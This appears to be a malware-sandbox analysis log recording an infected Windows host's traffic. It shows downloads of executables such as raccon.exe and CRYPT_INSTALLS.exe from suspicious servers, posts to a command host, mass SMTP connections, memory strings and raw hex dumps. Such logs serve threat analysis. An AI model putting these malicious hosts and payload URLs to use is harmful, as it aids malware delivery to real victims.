Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urydiahadyss16.club/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: urydiahadyss16.club

Source: unknown

Network traffic detected: DNS query count 168

Source: global traffic	TCP traffic: 192.168.2.4:49749 -> 193.56.146.41:9080
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 193.56.146.188:483
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 193.56.146.42:419
Source: global traffic	TCP traffic: 192.168.2.4:49793 -> 193.56.146.43:419
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 95.216.195.92:419
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 213.227.140.23:419
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 5.61.37.41:419
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 95.215.205.85:48425

Source: unknown

Network traffic detected: IP country count 11

Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 40.93.207.1:25
Source: global traffic	TCP traffic: 192.168.2.4:49798 -> 212.77.101.4:25
Source: global traffic	TCP traffic: 192.168.2.4:49801 -> 213.120.69.89:25
Source: global traffic	TCP traffic: 192.168.2.4:49805 -> 24.201.245.37:25
Source: global traffic	TCP traffic: 192.168.2.4:49806 -> 84.2.43.65:25
Source: global traffic	TCP traffic: 192.168.2.4:49810 -> 108.177.119.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49812 -> 209.71.212.24:25
Source: global traffic	TCP traffic: 192.168.2.4:49815 -> 91.83.45.41:25
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 185.132.182.62:25
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 193.50.2.13:25
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 77.74.208.206:25
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 52.47.149.86:25
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 91.207.212.191:25
Source: global traffic	TCP traffic: 192.168.2.4:49874 -> 188.130.11.227:25
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 40.93.212.0:25
Source: global traffic	TCP traffic: 192.168.2.4:49884 -> 108.177.127.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49886 -> 68.87.20.5:25
Source: global traffic	TCP traffic: 192.168.2.4:49899 -> 209.222.82.255:25
Source: global traffic	TCP traffic: 192.168.2.4:49902 -> 67.195.228.106:25
Source: global traffic	TCP traffic: 192.168.2.4:49972 -> 144.160.235.144:25
Source: global traffic	TCP traffic: 192.168.2.4:49975 -> 212.27.48.6:25

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Sep 2021 14:02:33 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38X-Powered-By: PHP/5.5.38Content-Length: 25Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 14 00 00 00 7b fa f0 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 Data Ascii: {i+,GO

Source: svchost.exe, 0000001A.00000003.787529101.000002A87A335000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 0000001A.00000002.819626562.000002A879AEC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.di)
Source: svchost.exe, 0000001A.00000003.787529101.000002A87A335000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 0000001A.00000003.801432673.000002A87A339000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: svchost.exe, 0000001A.00000002.817863919.000002A879A3C000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digih
Source: svchost.exe, 0000001A.00000002.819626562.000002A879AEC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 0000001A.00000003.787529101.000002A87A335000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: http://universalstore.streaming.mediaservices.windows.net/411ee20d-d1b8-4d57-ae3f-af22235d79d9/1f8e1
Source: Versato.exe.com, 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp, Versato.exe.com, 0000001B.00000000.777841625.0000000001249000.00000002.00020000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: http://www.g5e.com/G5_End_User_License_Supplemental_Terms
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: http://www.g5e.com/termsofservice
Source: 55AD.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnviro
Source: 55AD.exe, 00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: https://corp.roblox.com/contact/
Source: svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: https://corp.roblox.com/parents/
Source: svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: https://en.help.roblox.com/hc/en-us
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: https://support.g5e.com/hc/en-us/categories/360002985040-Hidden-City-Hidden-Object-Adventure
Source: svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: https://www.roblox.com/develop
Source: svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	String found in binary or memory: https://www.roblox.com/info/privacy
Source: svchost.exe, 0000001A.00000003.793499274.000002A87A353000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report
Source: svchost.exe, 0000001A.00000003.791536211.000002A87A385000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.791510796.000002A87A37E000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.791483429.000002A87A36F000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: fazanaharahe1.xyz

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00402A62 GetProcessHeap,GetProcessHeap,GetProcessHeap,HeapAlloc,socket,htons,select,recv,htons,htons,htons,GetProcessHeap,HeapAlloc,htons,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,closesocket,GetProcessHeap,HeapFree,

24_2_00402A62

Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolz123foryou.xyz
Source: global traffic	HTTP traffic detected: GET /a.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.56.146.41:9080
Source: global traffic	HTTP traffic detected: GET /raccon.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: urydiahadyss16.club
Source: global traffic	HTTP traffic detected: GET /CRYPT_INSTALLS.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 95.215.205.85
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /Accept-Language: enAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EmbeddedWB 14,52 from: http://www.bsalsa.com/ EmbeddedWB 14,52; .NET CLR 2.0.50727)Host: www.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /INSTALLS.exe HTTP/1.1Host: 95.215.205.85Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eth.exe HTTP/1.1Host: 95.215.205.85Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Sep 2021 14:03:22 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=UTF-8P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Encoding: gzipServer: gwsContent-Length: 1901X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: NID=223=gCI4W9RuSgdWTJSOn28wCdKeqZCeg9jWIW1OMDT-qr_rmcOPESsmgR8XqzKZj5FTAVlCXbFbuL0rn40-qbzVPXOhyN4olHE0SbNIqtZE5L0SS96NoD0rb4Mxyr8P19BcxxPy4zSscxU52jtqsHM5-BvueoM8BgINt5eCSKNloI4; expires=Wed, 09-Mar-2022 14:03:22 GMT; path=/; domain=.google.com; HttpOnlyData Raw: 1f 8b 08 00 00 00 00 00 02 ff 8d 58 ef 72 db b8 11 ff de a7 c0 c1 13 f7 8b 25 92 b2 75 96 29 51 57 a7 37 71 d3 4b ae 4e ed 9b bb e4 8b 06 24 21 12 31 49 d0 04 28 59 75 f5 2e 7d 96 3e 59 77 09 90 a2 64 25 6e 66 42 11 c0 fe df 1f 76 97 9e fd 10 cb 48 6f 4a 4e 52 9d 67 f3 19 3e 89 d0 3c 57 91 2c 79 40 69 b3 40 82 80 a6 5a 97 be e3 a8 28 e5 39 1b ca 2a 71 7e e7 e1 2d 4b 38 25 19 2b 92 80 f2 62 70 f3 96 82 10 ce e2 f9 2c e7 9a 11 e4 19 f0 c7 5a ac 02 fa 57 59 68 5e e8 c1 3d 48 a3 24 32 ab 80 6a fe a4 1d d4 3b 25 51 ca 2a c5 75 f0 db fd bb c1 84 5a 11 1d a1 23 72 50 a6 9c b0 62 45 2c 8a c4 49 a4 4c 32 9e 38 de 53 fb ba 50 1a ce 58 15 2f 22 99 c9 6a e1 8d 26 71 39 2c 8b c4 f8 51 56 b2 0c 68 23 06 a4 6b a1 33 3e bf 69 38 67 8e 59 cd 94 de c0 cf 49 12 b2 ea ec 24 a9 15 af 9e 97 60 c0 40 89 7f 71 df 3b 2f 9f a6 25 8b 51 fb 40 cb d2 f7 ca 27 f2 83 c8 4b 59 81 5e 3d dd 36 7c cf 29 17 49 aa fd d1 a8 7c da 5a 19 2d 53 28 b5 96 b9 7f b9 cf 87 21 18 b0 4c 24 85 5f 21 eb 76 98 84 e9 19 3c e2 e7 50 56 31 af 3a 65 4a 66 22 26 27 d1 55 7c b9 f4 a6 3d cb 40 15 32 b5 ba dd 69 29 95 d0 42 16 3e 0b 81 a9 d6 7c 8a 32 46 17 e0 c1 5a c4 3a f5 3d d7 7d b3 fd 4b ce 63 c1 08 cb b2 67 60 f7 fa a6 4f 73 56 25 a2 18 34 16 f9 c3 31 cf a7 2b 5e 69 11 b1 cc da 0a 02 ad c7 cb 4c 32 ed 67 7c a9 b7 5b 86 82 ce f0 79 f1 dc 38 16 f3 48 56 ac b1 a5 2e c0 99 4c 14 bc e7 fd 1e 43 93 36 ff c4 75 a3 3e 05 1c 09 d2 3f 8f e3 09 1f 5d 1e 90 2c f7 48 ae 5c b7 7f fe a7 99 63 52 6b 33 1c ca 78 73 a6 e3 33 76 56 9e 0d 53 93 e3 25 cb 45 b6 f1 59 25 58 76 a6 58 a1 06 90 3a b1 dc 22 ed 73 c8 a2 87 a4 92 e0 81 7f b2 5c 2e a7 9d a5 ae 0d 94 ef 42 30 64 d2 a6 da 07 ac 10 cf 85 87 bb d5 f1 33 3a 3d b0 d1 1d 4e 78 0e 06 b3 68 91 93 83 23 0f 90 b1 5d ca 2a 7f b6 d1 b7 80 19 b9 98 e0 b4 75 ce 1b 8f 27 f1 8f db 61 a6 74 9b b2 73 44 5b b3 b1 cf 39 1c 41 e2 5a 9b 20 fb 64 8c 26 e1 f3 30 9d 86 c1 a2 e3 e2 ea 47 a0 c0 b0 34 36 91 17 41 41 55 fe 52 46 b5 7a 96 b5 46 1f fc 42 16 1c f7 43 8b da 1d 62 a7 16 c6 6d fa 58 1c 71 97 9c 5c ba 97 e3 4b b6 fb 35 fb d3 36 16 c3 09 80 ae 7f 4f 8c 39 e3 23 e6 1c 83 26 5a e2 b3 48 8b 15 df cb 9e d1 b2 e5 b9 c9 fa da 68 0b 65 16 db 0b 85 00 01 67 aa 9c 65 5b 51 94 b5 de 83 87 28 52 d0 08 b0 6d 93 71 11 7a 1e 9b 4c 0f b1 de 44 83 f9 Data Ascii: Xr%u)QW7qKN$!1I(Yu.}>Ywd%nfBvHoJNRg><W,y@i@Z(9*q~-K8%+bp,Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Sep 2021 14:03:22 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=UTF-8P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Encoding: gzipServer: gwsContent-Length: 1902X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: NID=223=X_8YXoYDpDw4JrxCPzISw78IeVdRxRhyJR_RKLnDY8mvMF4SaK9oCNgAC56VBNZc3kw9HH0XNl-1xJeh04LkNwy29OsfAWCG7zsoRE14axRrJj4bF3PMR9whkTIoim6y6PrNc6tAV0yhZMPpPS7SVkMfmu2eMXgxovHmhAdFTqo; expires=Wed, 09-Mar-2022 14:03:22 GMT; path=/; domain=.google.com; HttpOnlyData Raw: 1f 8b 08 00 00 00 00 00 02 ff 8d 58 ef 72 db b8 11 ff de a7 c0 d1 13 df 17 49 24 15 2b 96 29 51 57 27 37 e7 ba 8d af ce d9 37 69 f2 45 03 92 20 89 31 49 d0 04 28 59 71 f5 2e 7d 96 3e 59 77 09 90 a2 64 25 6e 66 42 11 c0 fe df 1f 76 97 9e ff 14 89 50 6d 4a 46 52 95 67 8b 39 3e 09 57 2c 97 a1 28 99 6f 59 cd 02 09 7c 2b 55 aa f4 6c 5b 86 29 cb e9 48 54 89 fd 99 05 b7 34 61 16 c9 68 91 f8 16 2b 86 57 ef 2d 10 c2 68 b4 98 e7 4c 51 82 3c 43 f6 58 f3 95 6f 7d 10 85 62 85 1a de 83 34 8b 84 7a e5 5b 8a 3d 29 1b f5 ce 48 98 d2 4a 32 e5 ff 79 ff db 70 6a 19 11 1d a1 cd 73 50 26 ed a0 a2 45 c4 8b c4 4e 84 48 32 96 d8 ee 53 fb ba 94 0a ce 68 15 2d 43 91 89 6a e9 8e a7 51 39 2a 8b 44 fb 51 56 a2 f4 ad 46 0c 48 57 5c 65 6c 71 d5 70 ce 6d bd 9a 4b b5 81 9f 93 24 a0 d5 e0 24 a9 25 ab 9e 63 30 60 28 f9 37 e6 b9 6f cb a7 59 49 23 d4 3e 54 a2 f4 dc f2 89 fc c4 f3 52 54 a0 57 cd b6 0d df 73 ca 78 92 2a 6f 3c 2e 9f b6 46 46 cb 14 08 a5 44 ee 9d ef f3 61 08 86 34 e3 49 e1 55 c8 ba 1d 25 41 3a 80 47 f4 1c 88 2a 62 55 a7 4c 8a 8c 47 e4 24 bc 88 ce 63 77 d6 b3 0c 54 21 53 ab db 99 95 42 72 c5 45 e1 d1 00 98 6a c5 66 28 63 7c 06 1e ac 79 a4 52 cf 75 9c 37 db bf e6 2c e2 94 d0 2c 7b 06 76 b7 6f fa 2c a7 55 c2 8b 61 63 91 37 9a b0 7c b6 62 95 e2 21 cd 8c ad 20 d0 78 1c 67 82 2a 2f 63 b1 da 6e 29 0a 1a e0 f3 ec b9 71 2c 62 a1 a8 68 63 4b 5d 80 33 19 2f 58 cf fb 3d 86 26 6d de 89 e3 84 7d 0a 38 e2 a4 7f 1e 45 53 36 3e 3f 20 89 f7 48 2e 1c a7 7f fe 97 b9 ad 53 6b 32 1c 88 68 33 50 d1 80 0e ca c1 28 d5 39 8e 69 ce b3 8d 47 2b 4e b3 81 a4 85 1c 42 ea 78 bc 45 da e7 80 86 0f 49 25 c0 03 ef 24 8e e3 59 67 a9 63 02 e5 39 10 0c 91 b4 a9 f6 00 2b c4 75 e0 e1 6c 55 f4 8c 4e 0f 4d 74 47 53 96 83 c1 34 5c e6 e4 e0 c8 05 64 6c 63 51 e5 cf 26 fa 06 30 63 07 13 9c b6 ce b9 93 c9 34 7a b7 1d 65 52 b5 29 7b 8b 68 6b 36 f6 39 47 63 48 5c 6b 13 64 9f 4c d0 24 7c 1e a6 53 33 18 74 9c 5d bc 03 0a 0c 4b 63 13 79 11 14 54 e5 c5 22 ac e5 b3 a8 15 fa e0 15 a2 60 b8 1f 18 d4 ee 10 3b 33 30 6e d3 47 a3 90 39 e4 e4 dc 39 9f 9c d3 dd af de 9f b5 b1 18 4d 01 74 fd 7b a2 cd 99 1c 31 e7 18 34 d1 12 8f 86 8a af d8 5e f6 b4 96 2d cb 75 d6 d7 5a 5b 20 b2 c8 5c 28 04 08 38 53 e5 34 db f2 a2 ac d5 1e 3c 78 91 82 46 80 6d 9b 8c b3 c0 75 e9 74 76 88 f5 26 1a d4 4b 05 Data Ascii: XrI$+)QW'77iE 1I(Yq.}>Ywd%nfBvPmJFRg9>W,(oY\|+Ul[)HT4ah+W-hLQ<CX
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Sep 2021 14:03:22 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=UTF-8P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Encoding: gzipServer: gwsContent-Length: 1899X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: NID=223=M4ymsbb9jAi3Xz5_emOLeKMIupNkCdjhk7fBiWxEOVxfFE4S4F5x8ek2gFtAA7gFnp05JB_HpwwORElD1LM89kGxTFWAm9WNnGlzh-UM4rAnsnFlV9CQHpxV5oYSDamGr4Iaz6QMGrRCeNMVfYGGhAH_U7q975f4mtVfh0QMaG0; expires=Wed, 09-Mar-2022 14:03:22 GMT; path=/; domain=.google.com; HttpOnlyData Raw: 1f 8b 08 00 00 00 00 00 02 ff 8d 58 ef 72 db 36 12 ff 7e 4f 81 c2 13 df 17 4b a4 64 2b 92 29 51 3d e7 d2 fa 32 4d da a4 76 27 d3 7e d1 80 24 48 e2 42 12 34 01 4a d6 b9 7a 97 3e cb 3d d9 ed 12 20 45 c9 4a 7c 99 09 45 00 fb 7f 7f d8 5d 7a f1 5d 24 43 bd 2d 39 49 75 9e 2d 17 f8 24 42 f3 5c 85 b2 e4 3e a5 cd 02 09 7c 9a 6a 5d 7a 8e a3 c2 94 e7 6c 28 ab c4 f9 cc 83 8f 2c e1 94 64 ac 48 7c ca 8b c1 ed 1b 0a 42 38 8b 96 8b 9c 6b 46 90 67 c0 1f 6a b1 f6 e9 3f 65 a1 79 a1 07 f7 20 8d 92 d0 ac 7c aa f9 a3 76 50 ef 9c 84 29 ab 14 d7 fe 6f f7 3f 0e 66 d4 8a e8 08 1d 91 83 32 e5 04 15 2b 22 51 24 4e 22 65 92 f1 c4 19 3d b6 af 2b a5 e1 8c 55 d1 2a 94 99 ac 56 a3 f1 2c 2a 87 65 91 18 3f ca 4a 96 3e 6d c4 80 74 2d 74 c6 97 b7 0d e7 c2 31 ab 85 d2 5b f8 39 4b 02 56 5d 9c 25 b5 e2 d5 53 0c 06 0c 94 f8 0f f7 46 97 e5 e3 bc 64 11 6a 1f 68 59 7a a3 f2 91 7c 27 f2 52 56 a0 57 cf 77 0d df 53 ca 45 92 6a 6f 3c 2e 1f 77 56 46 cb 14 48 ad 65 ee 4d 0f f9 30 04 03 96 89 a4 f0 2a 64 dd 0d 93 20 bd 80 47 f4 14 c8 2a e2 55 a7 4c c9 4c 44 e4 2c bc 8e a6 f1 68 de b3 0c 54 21 53 ab db 9d 97 52 09 2d 64 e1 b1 00 98 6a cd e7 28 63 7c 05 1e 6c 44 a4 53 6f e4 ba af 76 ff c8 79 24 18 61 59 f6 04 ec a3 be e9 f3 9c 55 89 28 06 8d 45 de 70 c2 f3 f9 9a 57 5a 84 2c b3 b6 82 40 eb 71 9c 49 a6 bd 8c c7 7a b7 63 28 e8 02 9f 57 4f 8d 63 11 0f 65 c5 1a 5b ea 02 9c c9 44 c1 7b de 1f 30 34 69 f3 ce 5c 37 ec 53 c0 91 20 fd f3 28 9a f1 f1 f4 88 24 3e 20 b9 76 dd fe f9 df 16 8e 49 ad cd 70 20 a3 ed 85 8e 2e d8 45 79 31 4c 4d 8e 63 96 8b 6c eb b1 4a b0 ec 42 b1 42 0d 20 75 22 de 21 ed 53 c0 c2 2f 49 25 c1 03 ef 2c 8e e3 79 67 a9 6b 03 e5 b9 10 0c 99 b4 a9 f6 00 2b 64 e4 c2 c3 dd e9 e8 09 9d 1e d8 e8 0e 67 3c 07 83 59 b8 ca c9 d1 d1 08 90 b1 8b 65 95 3f d9 e8 5b c0 8c 5d 4c 70 da 3a 37 9a 4c 66 d1 eb dd 30 53 ba 4d d9 25 a2 ad d9 38 e4 1c 8e 21 71 ad 4d 90 7d 32 41 93 f0 79 9c 4e c3 60 d1 71 75 fd 1a 28 30 2c 8d 4d e4 59 50 50 95 17 cb b0 56 4f b2 d6 e8 83 57 c8 82 e3 7e 60 51 bb 47 ec dc c2 b8 4d 1f 8b 42 ee 92 b3 a9 3b 9d 4c d9 fe d7 ec cf db 58 0c 67 00 ba fe 3d 31 e6 4c 4e 98 73 0a 9a 68 89 c7 42 2d d6 fc 20 7b 46 cb 8e e7 26 eb 1b a3 2d 90 59 64 2f 14 02 04 9c a9 72 96 ed 44 51 d6 fa 00 1e a2 48 41 23 c0 b6 4d c6 55 30 1a b1 d9 fc 18 eb 4d 34 98 97 Data Ascii: Xr6~OKd+)Q=2Mv'~$HB4Jz>= EJ\|E]z]$C-9Iu-$B\>\|j]zl(,dH\|B8kFgj
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Sep 2021 14:03:22 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=UTF-8P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Encoding: gzipServer: gwsContent-Length: 1903X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: NID=223=NKpFKcwsQhxOG07EJy8UeN31ebn5o39lsTvrjEriD5k0bdDDQDjCR4o6mnIOUrdfpDLdcUhuUDZB3My3lzG5wuN4M9i23WlV2Ce5RZZaneH6PJVo3KpDK19BMwX-BjydMLrV7m9ZiUZFyh8gfK8KztvEbPj8okLWU79Bozqg1bI; expires=Wed, 09-Mar-2022 14:03:22 GMT; path=/; domain=.google.com; HttpOnlyData Raw: 1f 8b 08 00 00 00 00 00 02 ff 8d 58 ef 72 db 36 12 ff 7e 4f 81 c2 13 f7 8b 25 52 8a 5d cb 94 a8 9e d3 36 be 5c 12 37 3e 3b e3 c9 7d d1 80 24 48 a2 26 09 86 00 25 ab ae de e5 9e e5 9e ec 76 09 90 a2 64 25 be cc 84 22 80 fd bf 3f ec 2e 3d fb 21 92 a1 5e 97 9c a4 3a cf e6 33 7c 12 a1 79 ae 42 59 72 9f d2 66 81 04 3e 4d b5 2e 3d c7 51 61 ca 73 36 94 55 e2 dc f3 e0 13 4b 38 25 19 2b 12 9f f2 62 70 f5 86 82 10 ce a2 f9 2c e7 9a 11 e4 19 f0 af b5 58 fa f4 17 59 68 5e e8 c1 1d 48 a3 24 34 2b 9f 6a fe a8 1d d4 3b 25 61 ca 2a c5 b5 ff f9 ee ed 60 42 ad 88 8e d0 11 39 28 53 4e 50 b1 22 12 45 e2 24 52 26 19 4f 9c d1 63 fb ba 50 1a ce 58 15 2d 42 99 c9 6a 31 1a 4f a2 72 58 16 89 f1 a3 ac 64 e9 d3 46 0c 48 d7 42 67 7c 7e d5 70 ce 1c b3 9a 29 bd 86 9f a3 24 60 d5 c9 51 52 2b 5e 3d c5 60 c0 40 89 3f b9 37 7a 5d 3e 4e 4b 16 a1 f6 81 96 a5 37 2a 1f c9 0f 22 2f 65 05 7a f5 74 